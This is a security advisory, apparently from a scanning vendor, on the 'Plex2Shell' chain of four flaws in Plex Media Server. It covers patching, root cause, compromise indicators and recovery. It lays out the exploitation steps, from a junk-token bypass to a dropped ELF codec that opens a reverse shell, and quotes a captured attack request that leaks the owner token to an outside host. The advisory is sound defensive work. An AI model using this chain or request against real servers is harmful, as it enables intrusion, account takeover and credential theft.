Plex2Shell: Plex RCE Exploited in the Wild (CVE-2026-96656)
Four chained flaws in Plex Media Server before 1.43.3.10861 let an unauthenticated attacker run code as the Plex user; exploited in the wild since October 17, 2026.
TL;DR
- Plex2Shell is a chain of four vulnerabilities in Plex Media Server, CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 and CVE-2026-96656, that starts with a single unauthenticated request and ends with code execution as the Plex service user. A public proof of concept was released on October 16, 2026.
- Every Plex Media Server build before 1.43.3.10861 is affected. The researcher who found the chain rates it CVSS v3.1 9.8; the individual CVEs score between 4.3 and 8.6 because each is scored in isolation.
- Exploitation is confirmed in the wild. Plex stated on October 19 that the flaws are "actively and widely exploited" against internet-facing servers, with cryptocurrency miners and proxy software deployed on compromised hosts. CISA added all four chain CVEs to the Known Exploited Vulnerabilities catalog on October 20.
- Update to 1.43.3.10861 or later now. If your server was reachable from the internet on port 32400 while unpatched, Plex's guidance is to assume it may be compromised and to hunt the indicators listed below before trusting it again.
Am I affected?
You are affected if all of these hold:
- You run Plex Media Server on any platform: Windows, macOS, Linux, Docker, a NAS device or NVIDIA Shield.
- The build is older than 1.43.3.10861. The CVE records mark every version before that build as affected, and the proof of concept states the chain works through 1.43.3.10828.
- Port 32400 is reachable from the internet, either through Plex Remote Access or a manual port forward. The chain's entry point is a request from the internet, and Plex's compromise guidance targets "internet-facing servers that haven't been updated".
A fifth flaw fixed in the same build, CVE-2026-96651, is a path traversal via /system/agents/media/get that needs any valid session token rather than an internet path. It lets an attacker on the network read files the session's user can read, including the PlexOnlineToken that controls the Plex account. It is not part of the unauthenticated chain, but it shares the fix.
Check the version on every server, including Docker and NAS installs. In Plex Web, open Settings, then General, and read the version shown. On the host itself, the identity endpoint answers with the build:
curl -s http://localhost:32400/identity | grep -o 'version="[^"]*"' # run on the Plex host
docker exec plex curl -s http://localhost:32400/identity # Docker: adjust the container name
| Plex Media Server | Affected versions | Fixed version |
|---|---|---|
| All platforms | every build before 1.43.3.10861 | 1.43.3.10861 (August 3, 2026) |
How do I fix it?
Update to 1.43.3.10861 or later. Automatic updates deliver it in Plex Web under Settings, General. For manual installs, download the current build from the Plex downloads page. Plex's September 1, 2026 security notice walks through every platform, including the NAS app stores, where updated packages lagged and manual installation was needed, and Docker, following the pms-docker image update.
Then verify the build with the identity check above, and if you do not need remote access, turn Remote Access off under Settings, Remote Access, as Plex recommends.
If you cannot update yet, block port 32400 from the internet at the firewall. The chain's first request comes from the internet, so this stops the unauthenticated chain. The limits are real: it does nothing against CVE-2026-96651, which needs only a network-adjacent position and a valid session token, and it removes remote streaming for your users.
If the server was internet-facing and unpatched, follow the compromise check below before putting it back, and apply Plex's recovery guidance if anything matches.
What is the root cause?
The chain works because four independent weaknesses each hand the attacker the position the next stage needs: a token check that never validates, an authorization guard that cannot stop anything, a URL prefix check that trusts appearances, and a codec loader that runs whatever it finds. Security researcher Zach Main disclosed all four to Plex on July 27, 2026, and published the details with source-level analysis on October 16, 2026.
| CVE | Weakness | CWE | CVSS v3.1 | CVSS v4.0 |
|---|---|---|---|---|
| CVE-2026-96652 | /player/timeline accepts any token value and builds a callback URL from a raw protocol parameter |
CWE-918 | 4.3 | 5.3 |
| CVE-2026-96654 | searchOne authorization guard returns inside a discarded wrapper, and the agent identifier is spliced into an internal URL unsanitized |
CWE-84 | 6.5 | 6.9 |
| CVE-2026-96655 | The transcoding endpoint fetches attacker-chosen URLs, with no host allowlist | CWE-918 | 4.3 | 5.3 |
| CVE-2026-96656 | TranscoderH264Options is appended verbatim to the x264 command line, and every .so in the Codecs directory is executed at transcoder startup |
CWE-73 | 7.2 | 8.6 |
Scores are from the CVE records published September 23, 2026.
Stage 1: a token gate that checks existence, not validity. The companion protocol endpoint behind /player/timeline guards WAN requests like this, quoted from the disclosure:
HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {
return HttpReply{401};
}
// hasParam() checks existence, not validity
return CompanionProxyRequestHandler::instance().dispatch(req);
}
hasParam() answers whether the header exists. X-Plex-Token: junk passes. When a subscribed player unsubscribes, the server fires a callback POST to a URL assembled from the player-supplied protocol, host and port:
std::string Controller::callbackUrl() const {
return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();
}
Nothing validates protocol as a scheme, so a full URL in that parameter sends the server's POST wherever the attacker wants, including to itself on loopback.
Stage 2: an authorization guard that cannot stop the call. The /system/agents/* plugin API opens without a token for loopback-origin requests. Its searchOne endpoint tries to reject unregistered agent identifiers:
@lock(self.agent_info)
def inner():
if identifier not in Core.messaging.plugin_list():
return # returns from inner(), not from search_one
# ... proceed ...
The @lock decorator wraps inner() and discards its return value, so when the guard returns early, search_one keeps running. The identifier is assigned to target and spliced into an internal URL with no encoding:
url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)
A ? in the identifier opens a query string and a # truncates the rest, so the attacker controls the path and query of the next loopback request: a forged call to any plugin function.
Stage 3: a prefix check that trusts appearances. The Python plugin framework attaches the owner's admin token to outbound requests that look internal:
if url.find('http://127.0.0.1') == 0:
request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']
This is an unbounded string prefix match. A hostname like 127.0.0.1.<attacker-ip>.sslip.io starts with 127.0.0.1, so the token is attached, but the sslip.io DNS service resolves the name to the attacker's IP. Stage 2 forges a call to the bundled TheTVDB agent's GetResultFromNetwork function, a URL fetcher, pointed at such a hostname. The owner's local-* admin token is delivered to the attacker's listener.
Stage 4: a preference that becomes a file write, and a loader that trusts its directory. With the owner token, PUT /:/prefs sets TranscoderH264Options, a string appended verbatim to the x264 encoder's command line on every transcode. The x264 debug option dump-yuv writes decoded frames to a caller-chosen path, and qp=0 makes the encode lossless, so the written frames are a bit-exact copy of the input video. The attacker hosts a carrier video whose first frame is an ELF shared object, triggers a transcode through the /video/:/transcode/universal endpoint (CVE-2026-96655 supplies the unallowlisted fetch), and the ELF lands as a .so in the Codecs directory. At transcoder startup, avpriv_load_new_libs in the bundled libavutil.so.58 enumerates that directory and dlopen()s every .so file with no signature, execute-bit or symbol check. A shared object that contains only an ELF constructor still runs its code on load.
How is it exploited?
The proof of concept at github.com/code-zm/plex2shell chains the stages end to end. The steps, as executed against a vulnerable server:
- Register a player through the long-poll companion endpoint, sending
X-Plex-Token: junk. The existence-only check lets it through. - Subscribe with a
protocolparameter containing the loopback URL of the target plugin API call, then unsubscribe. The server POSTs the forged request to itself from a genuine loopback origin. - The forged
searchOnecall reaches TheTVDB agent'sGetResultFromNetworkwith a URL that starts withhttp://127.0.0.1and resolves to the attacker. The server attaches the owner admin token and delivers it. PUT /:/prefssetsTranscoderH264Optionstodump-yuv=<codec-dir>/x.so:qp=0.- A transcode is triggered against an attacker-hosted carrier video. x264 writes the bit-exact ELF to the Codecs directory.
- A second transcode enumerates and loads the
.so. Its constructor runs as the Plex service user,uid=1000(plex)on a default Linux install. In the PoC it forks and execs a reverse shell.
The first captured in-the-wild request, from a honeypot Zeek log published by the researcher boredhackerblog on October 17, 2026, shows stages 1 to 3 in a single subscribe URL, with user agent Python-urllib/3.10:
/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471
The sslip.io token-leak host and the identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork path are the two most recognizable signatures of the attack in HTTP logs.
How does the attack flow?
The flow is linear: pass the token gate with a junk value, make the server request its own loopback API, forge a plugin call that leaks the owner token, abuse the transcoder preference to write an ELF payload, and let the codec loader execute it.
X-Plex-Token: junk"] --> B["/player/timeline gate checks
existence only: check passes"] B --> C["Callback URL built from
raw protocol parameter"] C --> D["Server POSTs to its own
loopback /system/agents API"] D --> E["searchOne guard returns into
a discarded wrapper: guard fails"] E --> F["Forged plugin call to a URL
starting with http://127.0.0.1"] F --> G["Owner admin token attached
and sent to the attacker"] G --> H["dump-yuv preference plus
carrier transcode writes an ELF .so"] H --> I["Next transcode dlopens the .so:
code runs as the plex user"]
What can an attacker do?
- Run arbitrary code as the Plex service user: install cryptocurrency miners, proxyware, backdoors or anything else the account can execute. In the observed attacks, an XMRig miner and a residential proxy backdoor were both deployed.
- Take over the Plex account. The stolen owner token and the PlexOnlineToken reachable through CVE-2026-96651 control the account and server: libraries, settings and the devices signed in to it.
- Abuse the host's bandwidth and residential IP. The "myawesomeproxy" backdoor routes other people's traffic through the victim's internet connection, a compromise pattern that monetizes home connections.
- Reach whatever the service account can reach: mounted media shares, other credentials stored on the same machine or VM, and anything adjacent the plex user can read.
Conditions the attacker needs: network reachability of port 32400 from the internet for the unauthenticated chain, and an attacker host the server can contact for the token leak and media fetch. No authentication, no user interaction, and no non-default configuration are required; the PoC also ships a Windows payload. For CVE-2026-96651 alone, a network-adjacent position plus any valid session token is enough.
Why does the fix work?
Plex Media Server is closed source, so there is no public patch diff to quote. The 1.43.3.10861 release notes name two of the fixes, and they break the chain at its entry and its payload-write step:
- "(Security) Address potential vulnerability in the CompanionProxy. (PM-5763)" covers the stage 1 endpoint behind CVE-2026-96652.
- "(Security) The TranscoderH264Options and TranscoderH264OptionsOverride preferences can no longer be modified over the network. (PM-5766)" removes the stage 4 write primitive: even an attacker holding the owner token can no longer set the transcoder preference over the API, so the
dump-yuvfile write cannot be armed.
The remaining stages were fixed in the same build: Plex's October 19 notice maps CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 and CVE-2026-96656 to the 1.43.3 release and states that 1.43.3.10861 and later are not affected, and the PoC repository states the chain is fixed there. Because the chain needs all four stages, closing any one of them stops the unauthenticated path; the release closes several.
The fix is complete for this chain per the vendor statement, with one caveat worth knowing: the code-loading pattern it leaves behind, a directory the server executes .so files from without signature or execute-bit checks, is only safe as long as nothing else can write into it. Treat any future write primitive against the Plex data directory as code execution until proven otherwise.
How do I check if I was compromised?
Plex's October 19 notice is blunt: if your server is older than 1.43.3.10861 and was reachable from the internet, assume it may be compromised. Its checklist, plus the public indicators from the exploitation analysis:
- Processes started by Plex Media Server that you do not recognize, especially the names
myawesomeproxy,mylovelyminerorx12345. - Unfamiliar
.soor.dllfiles in the Plex Codecs folder. - Outbound connections to
proxystream.st, or sustained high CPU use while nothing is playing. - HTTP logs containing
/player/timeline/subscriberequests whoseprotocolparameter contains a full URL, or any request toidentifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork, or hostnames undersslip.ioresolving into127.0.0.1.*. Captured pcaps for signature work are published at github.com/BoredHackerBlog/plex2shell_pcap. - Connections from or to the observed attack infrastructure:
91.92.40.202,176.65.139.228,45.194.92.222, and payload downloads from217.60.194.116. - SHA-256 file hashes from the honeypot captures:
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441(docker),68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7(x, UPX packed),b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49(x, unpacked),e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9(myawesomeproxy),2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db(xmrig).
The PoC repository ships validated YARA rules and a read-only hunt script that check the dropped-codec artifacts, the payload binaries and the server logs across the standard install paths:
git clone https://github.com/code-zm/plex2shell
cd plex2shell/detection
sudo ./hunt/plex2shell-hunt.sh # auto-discovers Linux, snap and Docker installs
yara -r -w yara/plex2shell.yar "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server"
If anything matches, or compromise cannot be ruled out, Plex's recovery guidance: rebuild the server from a clean installation rather than reusing the old data directory, delete everything in the Codecs folder, check Preferences.xml for transcoder options you did not set, sign out of all devices from your Plex account settings, change your Plex password, and treat anything the service account could reach, such as mounted shares and stored credentials, as potentially exposed.
Timeline
- 2026-07-27: Zach Main reports the chain to Plex's security program.
- 2026-08-03: Plex Media Server 1.43.3.10861 released to the Beta channel with the two named security fixes.
- 2026-08-04: Plex acknowledges the report and pays the bounty.
- 2026-09-01: Plex publishes "Important Security Update for Plex Media Server v1.43.2 and earlier", urging all server owners to update.
- 2026-09-23: CVE-2026-96651, -96652, -96654, -96655 and -96656 published.
- 2026-10-16: Public disclosure with the full analysis and proof of concept.
- 2026-10-17: First in-the-wild exploitation observed on a honeypot, from 45.194.92.222, one day after the disclosure.
- 2026-10-19: Plex confirms active and widespread exploitation and publishes the CVE table and compromise guidance.
- 2026-10-20: CISA adds the four chain CVEs to the Known Exploited Vulnerabilities catalog, with due dates of 2026-10-23 for CVE-2026-96654 and CVE-2026-96656 and 2026-11-03 for CVE-2026-96652 and CVE-2026-96655.
- 2026-10-25: This post published.
FAQ
Was my server exposed if I never forwarded a port?
Remote Access, on by default, can make port 32400 reachable from the internet through NAT traversal even without a manual port forward. Check Settings, Remote Access to see whether it reported "Fully accessible outside your network", and treat any server that was accessible and unpatched as exposed.
Why do the CVE scores look low if the chain is rated 9.8?
Each CVE is scored in isolation, and stages that the chain itself unlocks carry privilege-required metrics: CVE-2026-96656 is scored 7.2 in CVSS v3.1 because it assumes an administrator, even though the chain hands the attacker that role unauthenticated. The researcher rates the full chain CVSS v3.1 9.8, and the CISA KEV listing reflects the working exploitability rather than the per-CVE scores.
Does 1.43.3.10828 or any 1.43.2 release protect me?
No. The PoC states the chain works through 1.43.3.10828, and every build before 1.43.3.10861 is in the affected range of the CVE records. Only 1.43.3.10861 and later are safe, which is also what Plex's September 1 notice means by "1.43.2 and earlier": update to the current 1.43.3 build.
What does the deployed malware actually do?
Two things were observed. An XMRig cryptocurrency miner process named mylovelyminer mines to the server ota.proxystream[.]st, a domain Bitsight linked in August 2026 to the AISURU proxyware botnet. A backdoor named myawesomeproxy turns the server into a reverse proxy for other people's traffic, and announces it: "Running this software on any of your devices makes you agree to the potential external use of your internet traffic."
I run Plex in Docker or on a NAS. Is the fix different?
The fixed build is the same, 1.43.3.10861. Docker installs update by pulling the current pms-docker image, and NAS installs often needed a manual package install because the app stores lagged, per Plex's September 1 platform guide. For compromise checks, the YARA scan targets are the config volume for Docker and the vendor's application-support directory on each platform.
If nothing matches, is patching enough?
Patching stops the chain and the malware it drops. Because the stolen owner token and any exfiltrated PlexOnlineToken outlive the server fix, users who saw suspicious activity should still sign out all devices and change the Plex password, and anyone uncertain about a past exposure should follow the rebuild guidance rather than trust a clean process list.
Find unpatched Plex servers before attackers do
Scan your internet-facing assets with Ostorlab to surface every Plex Media Server in your estate that still reports a build before 1.43.3.10861, alongside the exposed services and media applications around it.
References
- Zach Main's disclosure, "Plex2Shell: Unauthenticated RCE in Plex Media Server", October 16, 2026, with the per-stage source analysis and disclosure timeline: https://zmain.info/blog/plex2shell (checked October 25, 2026)
- Proof of concept and detection rules (YARA, hunt script, fixtures): https://github.com/code-zm/plex2shell (checked October 25, 2026)
- boredhackerblog, "Plex vulnerabilities being exploited in the wild to drop a cryptominer", October 17, 2026, with the captured attack URI, IPs and file hashes: https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html (checked October 25, 2026)
- Captured exploitation pcaps: https://github.com/BoredHackerBlog/plex2shell_pcap (checked October 25, 2026)
- Plex security notice "Important Security Update for Plex Media Server v1.43.2 and earlier", September 1, 2026, updated October 19, 2026 with the CVE table, active-exploitation statement and compromise checklist: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 (checked October 25, 2026)
- Plex Media Server 1.43.3.10861 release notes, August 3, 2026, naming the CompanionProxy fix (PM-5763) and the TranscoderH264Options network-modification fix (PM-5766): https://forums.plex.tv/t/plex-media-server/30447/712 (checked October 25, 2026)
- CVE-2026-96652 record (CVSS v3.1 4.3, v4.0 5.3): https://cveawg.mitre.org/api/cve/CVE-2026-96652 (checked October 25, 2026)
- CVE-2026-96654 record (CVSS v3.1 6.5, v4.0 6.9): https://cveawg.mitre.org/api/cve/CVE-2026-96654 (checked October 25, 2026)
- CVE-2026-96655 record (CVSS v3.1 4.3, v4.0 5.3): https://cveawg.mitre.org/api/cve/CVE-2026-96655 (checked October 25, 2026)
- CVE-2026-96656 record (CVSS v3.1 7.2, v4.0 8.6): https://cveawg.mitre.org/api/cve/CVE-2026-96656 (checked October 25, 2026)
- CVE-2026-96651 record (CVSS v3.1 6.5, v4.0 7.1), the companion path traversal: https://cveawg.mitre.org/api/cve/CVE-2026-96651 (checked October 25, 2026)
- CISA Known Exploited Vulnerabilities catalog, all four chain CVEs added October 20, 2026: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked October 25, 2026)
- CISA advisory VA-26-266-01 with the five CVE descriptions and CVSS v3.1 vectors: https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json (checked October 25, 2026)
- The Hacker News, "Hackers Exploit Plex2Shell Flaws to Install Crypto Miners and Linux Proxy Backdoor", October 19, 2026: https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html (checked October 25, 2026)
- Bitsight on the proxystream.st infrastructure and the AISURU botnet: https://www.bitsight.com/blog/who-invited-aisuru-lan-party (checked October 25, 2026)
- Reddit thread with user reports of compromised instances: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/ (checked October 25, 2026)